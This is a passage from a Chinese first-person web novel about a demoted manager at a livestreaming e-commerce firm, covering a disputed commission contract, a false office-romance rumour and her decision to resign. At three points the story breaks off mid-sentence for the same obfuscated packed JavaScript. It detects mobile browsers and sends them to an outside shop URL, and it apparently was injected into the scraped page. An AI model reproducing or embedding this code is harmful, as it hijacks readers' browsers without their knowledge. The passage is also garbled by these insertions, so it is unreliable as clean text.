我疑惑地拿起来翻看,“公司要和你们签合同了好事啊,你们之前不是一直催着要签,我还担心我下来了L总还要给你们拖很久呢,这就弄好了。怎么回事啊?你们说说呗。” 那么多内容我哪里看得过来,于是一边随手翻着一边问,我看了那个工资那里,写的就是我和她谈的数啊。 “现在合同上给我们签的是全部工资就是你和我们谈的那个数,包括提成!”诗诗怒不可遏,把跟来的娜娜的合同也递了过来,“你们如果不想给我们这个底薪不想给我们赚这些提成,可以直说,何必坑我们进来上班呢?你当时说得信誓旦旦的,现在就给我们这个?” “啊?”我听得迷惑,我没听错吧。销售的工资本来就是底薪+提成的模式,底薪是可以确定的,提成怎么确定啊,难道销售一个月能做多少业绩都是既定的?这不是开国际玩笑吗。 “你看看,娜娜的也是这么写的。刚我俩差点都签了,要不是看了一眼不对劲,问了L总和会计,他们说就是这样算的,我们都不敢相信!” “嗯嗯。”娜娜也连忙点头。她是实习生,因为还没有毕业,要的工资只是最低工资线,还不要交社保,W总裁觉得很不错。没正式工作的孩子,还没有诗诗这样十多年的老油条敢抗争的勇气。 我仔细看了看工资后面的明细和绩效计算,竟然还真的如诗诗所说。真的是太离谱了!还能有公司是比这些人更离谱的管理方式吗? 我拿着她俩的合同立即去了会计办公室,要问个明白。 会计一板一眼地表示,这就是L总制定的绩效计算方案,并且已经汇报给W总裁获得批准了,商务的薪酬体系就按照这个实施。L总中途进来,也说就是这样。 他得意地和我说:“你之前算那么久的绩效方案我以为有多难,结果我上来很快就和老板商量好了。” 我真是呵呵哒了,“是啊,你这个方案能不好吗,老板省钱公司省钱,但是你觉得商务真的能接受吗?我当时和他们谈好的底薪,现在被你们大手一挥改成全部工资就这个数了,她们还觉得是被我骗了呢。这都不重要了,这合同条款,现在她们不接受也不想签,你们自己看着办吧。” 不仅诈骗客户,还想诈骗员工,这公司和几个管理层,真的离了大谱。我要不是在亲历这个事情,我都要以为是编出来的乐子呢!天呐,简直是我说出去都没人信! 我本以为BD们要和几个高层闹很久,不想她俩看我已经下了台说啥都不管用了,自己去抗争了一下午之后,就没了消息。过了几天我突然想起来再问她俩,她俩只说合同已经签了。 至于绩效提成条款,她们只说自己是绝对不能接受的,如果公司到时候不给她们算提成,她们就会告到劳动局去。实在不行,她们大可以混日子底薪安稳落袋即可,反正日播也卖不出去产品有啥佣金提成可拿,大专场直播也没影子,哪来的奖金提成。 我看这也没我用武之地,她们也都把合同签了,保障有了就行,我现在还能怎么样呢?何况她们说的没错,公司以为自己聪明,砍了绩效,何尝料到员工也聪明,只混个底薪就满足了呢?这是聪明反被聪明误,还不自知。 * 如此时间又飞速过了一个月,L总领导下的直播团队还是没有招到一个愿意付费的商家。他们也不着急,反而把目标放在了日常自播的官媒账号上,要求商务选更多产品进来,企图通过日播卖出去一些产品做出来一些成绩。 显然,L总L总监以及W总裁,都没有意识到运营的问题。他可能是本身能力不足, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163811|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也可能是觉得工资太少不值得用心费力,本来就没有做起来的官媒账号不会因为选品更多更丰富就会突然有了起色。 某天晨会,W总裁又来开大会了。会上她大发了一通脾气,逮着L总L总监和运营要直播成绩。几人不知道心里在想什么,反正面上都是一派淡定,被骂得狗血淋头了,也仿佛事不关己。 W总裁走后,L总立即鞭策直播团队的大家要好好干,甚至威胁说,他不介意先开个人杀鸡儆猴。倒是和他会上的表现大相径庭呢,我还以为他压根不在乎做成啥样。 这人吧,就不能看不起他,说他不行他立即就支棱起来了。才说要杀鸡儆猴,第二天,这只鸡就诞生了。令我非常意外的一个人,就是W总裁的远亲Y表弟。 如今Y表弟已经彻底和这个公司无关了,他是解脱了。 “我和W总裁只是认的亲戚,不是血亲。我即将毕业了想找个工作,她跟亲戚们吃饭说自己公司做得多大多好,又是干直播的,我学的电子商务,家里就说给她说一声让我来上班,我也懒得找工作,就来了。” 这是Y表弟告诉我的,原来他和W总裁这个亲戚关系是这样的,难怪能公事公办辞退赔偿,认的亲和W堂妹这样的血亲,那差了不是一层两层。 但哪怕这样,也不该相信我和他在搞办公室恋情这样的谣言吧!Y表弟有个异地的女朋友,这事儿人尽皆知,甚至他的女朋友也在W总裁的亲戚圈子里都认识的。 远了不说,我们共事不到五个月,期间他女朋友多次来本市看望他,那几天他一下班就往电梯冲,大家还调侃他不要太心急,女朋友也不会跑了。小情侣正是热恋中难分难舍,朋友圈经常都在晒吃喝游玩的二人世界。 大家都是同事加了某信哪能看不见,连W总裁都还给他点赞呢。我是个不爱发朋友圈的,也不咋看朋友圈,点得少一些,偶尔看见了才点。 就这样的情况,公司传出我和他的恋情谣言,W总裁竟然还相信了?难不成在他们看来,我点得少或者我没点的时候,其实是我很难过不想点吗?真的是离了个□□! 我问及他W总裁为什么坚信我和他有办公室恋情?Y表弟告诉我,他也是去了直播团队才知道这个事情。他也不知道是谁传的,锤我俩恋情的依据是:每次他去我办公室,我给他看方案讲方案,都关着门而且讲很久,有时候下班了大家都走了,还专门留他讲方案。 谁懂?那办公室除了外墙,整个无死角的都是装的透明玻璃啊,又没拉百叶帘,关上门除了声音不大能听清,里面发生点什么动作都一清二楚。我给Y表弟讲方案,他都是毕恭毕敬一板一眼地坐着,我跟他坐对面各自看着电脑屏幕,偶尔才会到他身后指点一二,我们真有什么逾矩的行为,瞎子才看不见。 至于说关门,谁来我办公室说事儿不关门啊?除非站门口说完就走。 而提到我下班还在和他讲方案,更是无稽之谈。我从未在下班之后才叫他来讲方案,只偶尔他临下班才发了方案过来,到下班时间了还没讲完又剩一点点,那没必要留到第二天啊。跟拉屎拉一半一样,难道还规定了时间到了就不能拉了,要夹断了收回去不成。 他确实有几天爱在临下班才发方案给我看,我也是一个社畜哪里能不知道他是在拖延工作。我曾经也爱临下班才给领导发方案,想着领导也着急下班会给我说太晚了明天再说。他这招数我不要太懂。 但我那会儿那样忙,今日事今日都难毕,因为明天也一样有很多事要忙,这点看方案给修改意见的东西谁还留着过夜啊?下班抓紧说了他明天抓紧改,这样我还能早点看了早点定稿。Y表弟发现他的小招数没用后,后来也很少临下班才找我看方案了。 何况我忙得焦头烂额,直播项目的所有事务有问题,所有人都是找我,Y表弟在上班时间来找我,我不都照样见缝插针指导。团队里每个人我都一视同仁,知无不言言无不尽,能指导的都指导,能解决的都解决,并没有特别关照哪一位。谁是独特的?呵呵,在我这里,老板都不独特。 总之,这谣言用心险恶至极,竟是引导了我俩下班后没其他人在了就在公司乱搞。 我这样费心带他是为谁,还不是为了W总裁。我答应她要带人,就没有糊弄的。W堂妹带不动,Y表弟听话愿意学,我不得给他把方案的制作逻辑和方法讲清楚讲明白吗?而且,他写好之后,又教他一遍一遍改,直到最后W总裁看了都说满意,她看在眼里的东西她不信,竟然相信一则耳闻的谣言。 甚至,Y表弟也没跟我写多久的方案,不过一两个月后,直播团队人员齐活了,他和W堂妹就被W总裁塞到直播团队里去和运营学习了。 无论是谁造的黄谣,总之最后W总裁信了并把我撤职,以及任这些人来来回回试图踩在我头上拉屎撒尿,这都令人心寒。 我恍然想起之前觉得各种不对劲的事情,眼下都有了解释。还是这样一个我完全无法理解,但它还成立了的解释。 W总裁为何送我花说的是不要想着谈恋爱结婚,在饭桌上对我说女人就要搞事业,又说几位男士谁拎出来都能坐我的位置,在撤职后和我说把我安排妥帖了没人会觉得我有问题。 呵呵,原来竟然是这么回事。 6. 姥子不奉陪 这黄谣的源头,不用我费脑子猜都知道是谁制造的。 无非是L总L总监,以及W堂妹和O女士。他们搞了我对他们有啥好处呢?拿到了一些有名无实的title,工资不见得涨成什么样,项目还要被搞死了,啥也没做成。 我搞不懂这种人的思想,费尽力气整这些小动作就争这些。以为自己能碰瓷伟人吗,与人斗其乐无穷?何况,他们费尽心机斗我,我也没跟他们斗呢。 不过黄谣这出,我想不到还有几个隐身的人出了大力推波助澜,就是会计和运营。我是在什么时候知道的呢?是在我准备辞职的时候。 那已经是又过去了一个月。 得知我被造黄谣了,是在我黄谣的并列对象被辞退的时候,哪怕如此,我也没有立即打算走人。 我没想着要报复谁,或者是为了那点工资窝囊费,我只是还在指望我的方案落地。我呕心沥血的方案,我真心觉得它可以实现,哪怕不是在我的领导下。 我被撤职的时候没有走,也是想要亲眼看一次我的方案落地执行,如今还是这样,也算初心不改。 然而我的期待还没实现,我就已经要无法忍辱负重了。 Y表弟被辞退了,大家工作照常。如每个老板想的一样,公司的项目,缺了任何一个员工都照样转。W总裁来公司频繁了一些,每次都要召集大家开会近半小时,无非仍然是一通臭骂为什么直播还没进展,无论是日常自播还是大专场落地。 L总一如Y表弟被开的头一天会上面不改色,仿佛这直播项目不是他领导的,出了问题自然怪不到他头上一样。只是每每老板走了,他会召集大家一起开会,说什么三个臭皮匠顶个诸葛亮,叫大家一起出出主意拯救这个直播项目。 “公司项目出了问题,领导不赶紧想办法倒是问底层员工想办法,谁的领导啊?”我嘲讽到。 老板开完总经理开,这会议咋就没完没了了还?他们一个个闲的没事干,我可不闲啊,在这耽误我穷人的功夫,就别怪我发飙。 他们有没有想到办法我不知道,他们改进有没有效果我也不知道,反正我的嘲讽效果显著,他后面再开这种集思广益的大会都在他们的小群里通知,没再叫上我。 一个多月后的某一天,W总裁兴冲冲来了公司。因为L总、L总监跟她汇报说,他们接触到一个驻京大单位,非常想跟我们合作做个面向全国的大型直播专场,希望可以面谈。 什么单位呢?全国某工会。确实是大单位,这手下掌管着的可是全国各地的大国企事业单位啊,年年节假日都有采购礼品的需求。可我没弄明白这和我们直播带货有什么关系?如果需要采购,他们也不必要在直播间来一单单抢购吧,那多麻烦啊。 总之,老板带着O女士、L总、L总监、W堂妹、运营还有会计一行七人浩浩荡荡去了该单位,洽谈合作事宜。下午几人回来,又在老板办公室闭门热烈商量这个大项目,大半小时后才意犹未尽地散了。 L总和L总监来到我工位前,兴奋地给我说这个单位到底有多厉害,需求有多大。两人手舞足蹈满面红光的,令我仿佛在看猴戏。 我也不想的,只是我不明白,他们为什么总有到我跟前表演的欲望?仿佛做了一个阶段性成绩得到老板的认可都不重要,一定要得到我的捧场我的赞美才能显出价值。我做总经理的时候,他们怎么不这样呢,那会儿可能我还能有点真实的奖励拿给他们呢,如今我啥也没有,甚至只是个无关紧要的助理,获得我的认可能有什么实质性的汇报吗? 真是奇怪。我以为只有我是一个理想主义者,愿意为了心里的满足而去做一些毫不获益的事情呢。可我好歹获得了自己心里的满足,也能帮助一些普通人。他们这样获得了什么呢,我如果赞美认可的话,他们心里真的满足吗?被自己的敌人赞美,怎么可能心满意足呢。 我不会赞美我的敌人,除非对方跟我势均力敌或者比我更强,但我也绝不会认可对方的一切。 他俩表演了半天我都无动于衷,于是图穷匕见了,“这个项目很厉害的,只要落地了我们肯定大赚一笔,所以这个方案你这次必须要给我们写。” 我懒懒抬眼,就要说出一贯的拒绝理由,L总见我可算给了个眼神,连忙说,“老板已经同意了,她在办公室等着你去商量这个方案呢,你和她说完我们再说。” 我比吃了苍蝇还恶心,到底还是先去了老板办公室。 “小M你最近在做什么?”W总裁问我。 我做什么她自己不知道吗?我眼都懒得抬:“写方案啊。”她有那么多想一出是一出的点子,我方案多得写不过来。 “你手头案子都先放放,带着写就行,首先先把今天这个案子写了。”她摆摆手不以为意地说:“今天上午我们去了全国某工会……他们在也准备在某音搞直播,账号才注册没几个粉丝……希望和我们一起合作,把账号做起来……叫全国的工会单位都到账号上去购物。” 她一边说一边在回复手机上的消息,外放着语音,好像嫌打字太慢,她时不时又拿起来回语音。 我坐着不动也不吭声,等着她说到底是要写啥,毕竟我也没去参会也不知道这个单位啥情况啥需求是吧。 “嗯……就是……”她终于放下手机的时候,却看着我欲言又止。似乎在努力回想自己要说什么。 我知道,她是说不明白了,也不知道要说什么了。我们以往谈官媒合作的时候,或者说自打我来到公司起,她需要我出方案时,她表述想法时都是这样。她基本只能给到我单位的名字,再来一句想和人家合作什么,剩下的就由我自己去查询资料自己去想这个项目该怎么做然后拿出方案来。 但这次,我不想这样简单的干了,我希望她能说得更明白些,最好明白到每一页PPT要怎么写,最好清楚到每一个句子要怎么说。 我看着她,非常清楚她接下来对于这个方案根本无话可说,我心里升起了一股畅快之意!但我依然极其耐心地等着她的下文。我不介意等待浪费时间,我可以慢慢等着她组织语言。 “……你早上怎么就没跟去呢!我这还忙着马上有事要出去谈,哪里有空给你慢慢说!”她憋了半天来了这么一句,十足的无地自容然后气急败坏。 呵!这倒还怪罪我了?咋,这点儿工资我还要上赶着主动求活儿干吗?我是闲得没事干还是干完了好处太多让我眼馋到得主动抢着干啊? 不说我差点要忘了,把我卸职之后,也没人和我仔细谈谈,次月工资发下来就回到我原来的工资水平了,我找谁要说法了吗? 这方案我不可能给她写的,现在不可能以后也不可能,哪怕是刚刚我心里畅快时,也不可能,她求我我都不会写。我只为我内心所求买单,如果无法让我心甘情愿,什么都是白搭! 这时我心里刚刚快意已经烟消云散不复存在,只余下再也无法压抑的愤怒和厌烦。这些人我真的是受够了,尤其是这个老板! 任何人为了自己的利益都可能有意无意加害他人,这是人性的劣根。而我所遭受的这一切,恰是如此,究其本质,L总等人是为了权势名利,而做出将我推入深渊决定的人,是W总裁。 她自认是博弈的高手,我们这些人都只是她手里的棋子,任她摆弄。她享受这些,无聊时,还会故意从手指缝里漏出一些明显或不明显的小利益,看我们为此斗得急赤白脸、打得头破血流。一切都是为了我。这样宇宙中心的感觉一定很吸引人吧。 我明白她的心理,却无法共情。瓶子,尤其一个内向的瓶子,如非必要,如非心动,并不喜欢被瞩目,只想呆在一边谁也别注意。 被撤职,被边缘化,被霸凌,被欺压……这一切,本质是名利,操控者是W总裁。我卸职后就已经明白,所以得知黄谣消息的时候,我也没有想要去抗争去辩解。我从不会因私莫名迁怒别人,更不会出问题了逮着个小卡拉米归罪。 L总这些人就是小卡拉米,而罪魁祸首W总裁,我没有和她平等抗辩的立场。这是她的公司,我们都领着她的工资,她就是这里的土皇帝,是这里的规则制定者,在这里没有道理,她就是道理。 所以,她可以相信一个黄谣把我撤职。所以,她可以决定改变已入职的人谈好的工资。所以,她可以反口把和商家谈好的费用加十倍。所以,她可以做任何随心所欲的事情。 当然,如果有人胆敢挑战她的权势、胆敢架空她的控制力、胆敢觊觎她的公司成果、胆敢威胁她的地位……哪怕捕风捉影,她都要把这些苗头掐灭。 物似主人形。她满以为她操控着她的忠犬们,把他们玩弄于股掌之间,其实她也在被反操控而不自知。 给我造谣的人很聪明,拿捏了她的这些心思。我搞办公室恋情,还跟她的亲戚Y表弟搞,这两点就能叫她自行脑补出一场被我夺权的大戏,无一不触及她的逆鳞。 我曾经有机会跟她当面抗辩,有机会和她平等协商,也就是项目落地赚了钱,养活了团队为公司带来更大的收益时。不过,这个唯一的机会在我撤职时就已经不在了。更不用说我得知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163812|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被造黄谣时,甚至是现在。 “哎……你自己去和L总他们商量怎么写这个方案。” 没等她再憋出关于这个合作项目的方案要求,我收起纸笔起身就往外走,看都没看她一眼,更没有和她打一个招呼,身后只传来她还在皇帝下达命令似的吩咐。 在工位扔下纸笔,无视L总和L总监满脸得逞和雀跃,我就去了厕所,憋半天了都。人家都说上班就是该来把尿喝白,我就不该这样委屈自己。 等我回来时,W总裁已经带着O女士走了,L总却还赖在L总监旁边的空位,那原是Y表弟的工位。他俩还在等着跟我一逞威风呢。 我想到接下来他俩要吃瘪,一点也不觉得他俩碍眼了。我老神在在地拉开椅子坐下,也不说话,反正他俩肯定会迫不及待表演的。 果然姥子还没默数到3,L总就忍不住了,“怎么样小M,我说了老板让你一定要写这个方案的吧。我给你说这个客户很重要,你这个方案必须拿出全部的功力来好好写,叫他们看了就立即签合同。” L总监也不甘示弱,“小M,老板给你说这个客户是什么情况了吗?我给你说啊,他们啊是全国某工会,下面有超一万家单位,每年过年采购就要XXXXXXX元……blabla” L总交叉抱手在胸,听他说完,又补充到,“他们现在在某音开设了两个官方账号,叫……什么来着,L总监你把账号名字发给她。他们想把这个两个号给我们运营搞直播,然后发动他们全国的单位都关注这两个账号,在上面购物,过节采购也直接在上面下单。你看,这做出来我们光拿佣金都拿到手软了。情况就是这么个情况,我们说得够明白了吧,这样你写方案也轻松。” 我葛优瘫老神在在,看着他俩在那里跳梁小丑一样手舞足蹈眉飞色舞的表演,好心情地等着他俩说完。大家也被他俩激情的表现吸引过来,生怕错漏了一个信息,就不能清楚明白这个项目到底有多令人振奋。 “说完了?”我不所谓地问,也不等他俩回答,反正他俩也没啥好回答的,“你俩的想法非常完美非常实际!简直是直接就可以开干了!” 他俩果然激动得眼泛春波,满脸渴望地等着我继续夸赞。原来他们得到我不可能给的夸赞认可就是这样吗?这也没什么值得他们执着的吧,我如此假惺惺的语气,傻子都听出来了,他们竟如此痴迷毫无所觉。 我怎么能让他们误解呢,这是害人啊,“你俩想得挺美的!所以,检验你们水平的时候来了,你们说得头头是道哪里需要方案啊,直接用嘴都可以说服对方签约的吧。再说,你们都说完了,直接语音转文字,这方案不就有了,肯定比我还会写还写得好!所以,你们自己写吧。” 我眼睁睁看着他俩表情从惊喜到惊吓到惊怒,觉得他们这番变脸的演技一定可以打败很多小鲜肉,不如勇闯娱乐圈。现在叔圈不是就挺火的,他俩拾掇拾掇也没比那些胡子拉杂邋里邋遢的叔圈差多少,主要是爹味足够重啊。 办公桌椅挪动的声音响起,大家都憋着笑转回去面对起自己的电脑屏幕发抖。 L总总算从震惊愤怒中清醒过来,胸口急速起伏着,拉下脸沉声说:“你不该把情绪带到工作里!之前一直叫你给我写方案你都找各种理由推脱,这次是老板的意思,老板也答应我了不给你安排别的方案让你先写我这个,你要违背老板的意思吗?” 他语气很严厉,是我俩共事三年多来我没听过的严厉。完全撕破了他老实人老好人的假面,甚至显得有些狰狞。可惜他身材样貌甚至气场完全撑不起这份狰狞,反而看着狼狈又猥琐。 我呵呵哒嗤笑一声,“今晚我就给老板说辞职,这活儿我不干了,不陪你们玩儿了,你们自己玩儿吧。” L总似乎没听清,缓了几秒似乎才明白过来,又不敢置信地打量我神色。他不是傻子,相反小聪明特别多,不可能看不出来我一点也没有开玩笑的意思。最后他只好深呼吸几下回自己办公室去吹自然风去了。 L总监呢,典型的色厉内荏,我如此打脸他主人,更别说他了。主人都铩羽而归,旁观的他已经不敢吭气了。 临下班,我开始收拾东西,坐立难安半下午的L总监看我动作,突然小心翼翼地开口问我,“M总,你刚和L总说的那些,是开玩笑的吧?” 真是稀奇了,这些人啊,给他好脸的时候他不要,啪啪扇他几巴掌他倒是乖觉了,怎么就有人这么贱呢? “M总是谁,我认识吗?”我也开始有心开玩笑了,“我并不拿工作开玩笑。” 7. 个个是演员 当晚我就给W总裁发了要辞职的信息。 她没有回复。第二天早上我起来看了也没有回复。一上午都过去了,还是没回复。明明她还发了一条和闺蜜喝咖啡的朋友圈。 下午我去会计的办公室,把还没报销的款项和贴好的发票交给她。并没和她多废话,就回到了工位。 我才在工位坐下,没看电脑先看了一眼手机,哟呵,会计给我发了一条信息:来我办公室一趟。 这语气?这公司几个所谓的高层还真奇怪,个个撞破脑袋地致力于做我的领导。 这会计,我一直尊称她一声X姐,可不是因为她真的是高层领导啊,只是看她年长。今天给我搞这一出又是怎么回事? 虽然她这消息的用词和语气让人不舒服,但我反正都要辞职了就无所谓了,想到是不是报销单有什么问题,于是又去了她办公室。才进屋,她就让我关上门。 她示意我坐她对面位置,一改刚刚一副领导的样子,突然伸着脖子举着脑袋凑过来,故作神秘地试探问:“小M,你知不知道老板知道你和Y表弟搞办公室恋情的事情?” 呵,我也是到这时才发现,这个不吭声的会计,一直隐身得很好啊。那黄谣势必有她浓墨重彩的一笔,就算不是主导,也是主力掺和人员。 他们给我造的这出黄谣写了一个剧本,排了一出戏给老板看,只把我这个当事人瞒得死死的。当老板得知我和她表弟在搞办公室恋情,她为了面子,以及可能怕直说伤害了我和她的感情导致我懈怠工作和项目,也不会直接撕破脸明着问我。 从而在她想要试探和“提醒”我不要沉迷时,无知无觉的我只会答出完全模棱两可的答案,不可能给出正面回应和否认。老板的疑心再两次直接的试探中被撩高到极致,自然就是将我撤职,他们就顺利上位了。 稍稍推敲,这出拙劣的黄谣大戏就明明白白了。只是,他们没想到被开掉的Y表弟告诉了我这个谣言,所以眼下他们仍然觉得我还是无知无觉的傻子。 那么,按照他们导演的这出戏,眼下会计一个杀手假装起平民来问我这个问题,我该如何回答呢?我很快找到了他们编剧下我的位置和角色,以及该有的言行逻辑。 于是我也和她演起戏来,大惊失色地说:“什么?这谁造的谣?谁说我和Y表弟搞办公室恋情了,我自己都不知道的事情谁竟然先知道了啊?还跑去和老板说?” 我摆出琼瑶女主的难以置信和难过,“我还奇怪呢,怎么之前开人竟然开了老板的表弟?简直是匪夷所思嘛,原来竟然是因为老板以为我和她表弟在谈恋爱,要分开我们?!” 会计很满意我的表现,亲切地挪着椅子靠近我,几乎要促膝长谈的架势,当场也飙起戏来:“我就知道你不晓得这个事情!哎呀,我是最看得明白你的,我知道你绝对不是那种人。我一点也不相信这个事情,但是我也没办法,别人造谣告诉了老板,老板就相信了,然后就把你撤职了。” 我必须十分含冤啊,当即问到:“到底是谁造的谣?X姐你告诉我,我不会出卖你去问那人的,绝对不让人知道是你捅破给我消息的。” 她立即支支吾吾起来,“……还有谁啊,你难道猜不到吗?就是那些人呗。” 她要真是一清二白,何必做出这副样子?以她老板心腹的身份,自诩高管和老板一人之下全司万人之下的地位,谁能动她?无非怕我撕破脸去问她出卖的那个人,人又把她卖了而已,那样她伪善贴心的面孔就要暴露出来了,脸皮没处搁啊。 我穷追不舍:“那些人到底有谁?整个办公室的人吗?不可能吧。” 她视线游移不定,吞吞吐吐要说不说。我懂了,那意思就是她没承认啊,都是我自己猜出来的。全部人都被她拖下水了,也就显不出是她出卖的了。 看她表演我真的是够了,他们这些人当谁是傻子呢?虽然我之前确实沉迷工作被他们蒙在鼓里,但被撤职之后我除了不知道黄谣,也大概知道是谁在我干得好好的时候给我搞下来的,到Y表弟给我透了黄谣的底,我前后一合计,还能继续做个大傻子吗? 我懒得看她表演了,叹口气,“唉,算了。无所谓了,反正我都要辞职了。” 昨天我直接在办公室里放言辞职,毫不遮掩,虽然会计这屋离得远,但她既然和L总几人一根绳,不可能没得到消息。毕竟把我搞下来把我边缘化都不是最保险的,指不定哪天我一个雄起又让老板改观给我起复了呢。对他们来说,那个黄谣最好的结果应该是老板辞退我。 可惜,老板还指望我出主意弄方案搞定合作方,没有如他们的愿。所以他们天天恶心我,想尽办法使出各种职场霸凌的手段,企图让我自己辞职走人,所以,如今我终于决定辞职,他们是又开心又害怕。 开心的是我终于要走了,终于被他们恶心得熬不住了。害怕的是,老板如果知道是他们故意这样搞走的我,肯定要找他们麻烦。当然老板是自己做出决策撤职我的,但老板怎么可能认自己的错呢,锅肯定得给他们背,为了和我之间面子上好看好过也一定要赖在他们的头上才行。 所以,在老板把锅扣实在他们脑袋上之前,他们这是要准备先把锅扣在老板头上了。毕竟他们的想法里,我不可能去斗老板吧,只能忍气吞声了。 可惜不管是L总会计们的算盘,还是老板的算盘,都打错了!他们这盘棋这出戏,我从来没兴趣参与,我一直只是为了这个项目而已。 在他们看来,我可能是他们的对手,而在我眼里,他们根本不配做我的对手,也远不是我的对手。我不会将功夫浪费在这种事情上。 脑回路不同的人,是永远无法共情的。哦不,我清楚他们的目的和心理,他们却理解不了我的想法。怎么可能有人真的不为了名利权势争斗呢?绝对不可能。 会计再次确定地听到我说我要辞职了,眼里的惊喜,就跟我在会上被撤职时L总那压不住的嘴角一样,根本无所遁形也无法掩饰。 偏偏她还要继续必须给我演习,不得不装作十分同情我的样子。这导致她脸上的表情从鼻子那里一分为二,眼睛笑得眯起来了,嘴巴在努力难过地下撇。可能她以为她眼睛里激动的神采,能和难过时泪光闪烁一样,简直鱼目混珠。 她假装又难过又惊诧万分地说:“你要辞职?你怎么突然要辞职呢?我怎么都不知道,没人和我说啊!” 还演?还来? 我真的无语至极。退一万步说哪怕昨天我在办公室的一番话没人传到她耳朵里,那昨晚上我给老板发了辞职的消息,老板不可能不来问她。 W总裁时常不在公司,总爱在公司收几个眼线。亲近的W堂妹、贴身伺候的O女士、十几年忠心跟随的L总、急于表现尽忠的L总监、堪比村口情报中心的会计、甚至曾经的Y表弟……每个人,包括我,都可以作为她的眼线。 她自认能辨别信息的真伪,对于上报的八卦和小报告,她来者不拒。她也曾问过我,可是我对八卦没兴趣也没空和她八卦,显然这点我极其不对她的胃口,以致于她评论我:简直跟个男人一样无趣,一板一眼,什么八卦都不关注。 然而,她眼里无趣又不八卦的男人们,主力给我造黄谣。她一点都不觉得自相矛盾。会计能成为她的心腹,与会计无时不刻跟她汇报公司一切动向不无关系。 这还是W总裁自己告诉我的,因我刚履职总经理时,谈合作签合同需要用公章,而公章在会计处,每次盖章都需要专门给她请示,有时她忙还得等待。 一次我着急其他事情无暇在会计室等她盖章,便顺手把合同留给她盖并让她按上面的地址寄出。她当时做出难为样,我才转身回办公室她就送来了盖好章的合同,表示自己很忙没空给我寄,还强调到,开了这个口子,那以后谁都找她干这个盖章寄合同的杂活了。 我弄明白了,原来她是觉得我这个举动看低了她身份,让她不爽了。合着她拿乔耽搁别人可以,别人找她必须得陪着小心,要麻烦她那更绝对不行。我提出给我一个合同章,我方便她也方便,而且商务们也反馈给了我她拖延拿乔的事情,正好商务们以后盖章直接来我这里更方便。 会计却以公章很重要为由拒绝了。一个为她减负的事情她为什么拒绝。我想想就明白过来,掌握着公章是在公司权力重大的体现,没了公章谁还来找她,给她拿乔的机会呢? 我可不会惯着她,为了快速推进项目,也为了给会计减负,我找到老板谈及这个盖章的问题。合同签了盖章了寄出了商家才好快速打款不是,赚钱的事情哪里经得起耽误。 老板一听耽误赚钱直接给我说:“她就小学学历,没什么见识,跟村口嗑瓜子唠嗑的大妈们差不多,经常爱给我说点公司的大小事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163813|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就用着还好。你别跟她一般见识,我去和她说叫她把公章交给你。“ 没多会儿会计便拿着公章来了我办公室,满脸不虞,语气也十分不爽,“M总,老板让我把合同章给你,你是总经理有权掌着章子。那以后就别叫他们拿合同来找我签了,你这边盖出去的章我也不会负责。” 她凭借的正是人形监控器这一项技能获取到老板信赖,没道理我突然辞职,老板不会来询问昨天自己走后发生了什么。我辞职这消息她无论是从大家嘴里还是从老板嘴里,都是知道的。 都这样了还跟我演。她知不知道她的演技真的很差,不知道是谁给了她自信,让她这么爱演。 我看着她的高兴难过两个情绪难舍难分,突然觉得真没意思。这样的团队我竟然觉得我当时那个要落地的项目会成功,真是好笑!有这些人,那个项目没落地可能才是最好的,真的落地了,不知道这些人还要怎么给我埋雷等着炸了我? “你现在不就知道了。”丢下这句话,我直接开了会计室的门走人。 不想她竟然追了出来,拦住我跟我确定:“你真的要辞职吗?你给老板说了吗?” 我翻个白眼,直接把手机拿出来,调到我和老板的聊天记录,把我发给过去的辞职信息给她看:“喏,我已经给老板说了,只是她还没回我消息。” 她定睛细看了会儿,没有放下心倒是变得担忧起来,又说:“要是老板不同意呢,那你还不一定能辞职呢。” 这语气里都是生怕我走不成。我给了她一颗定心丸:“她同不同意,这工作我都不干了,那会儿撤职我的时候我就不想干了,我之所以留到现在,只是想看我的项目落地执行,现在这项目不可能落地了,我没有再留下去的必要,我又不是找不到工作做不了更好的项目。” 她似乎这才放心了,又生怕我看出来,假惺惺地说:“你也不要着急,老板肯定是太忙了,她看到了肯定会回复你的。哦,她说今天要来公司的,她来了你再当面和她说。” 我笑笑没说话。不然呢,你们以为我说辞职只是开个玩笑,辞职只是表演?辞职只是跟老板撒个娇然后好报复你们?简直是好笑。 只可惜一整天老板都没来,也没回我消息。 不过我也无所谓,我也不催她,反正我坚决要走了,什么活儿我都不会干,更别说那工会的方案了。 第二天,才上班没多会儿,W总裁终于来了。 我们没人看见她来,是会计来帮她叫人去办公室时才知道。 第一个被叫去的是BD娜娜,她去了不到二十分钟才回来。会计几乎跟着她后面来喊诗诗进去。 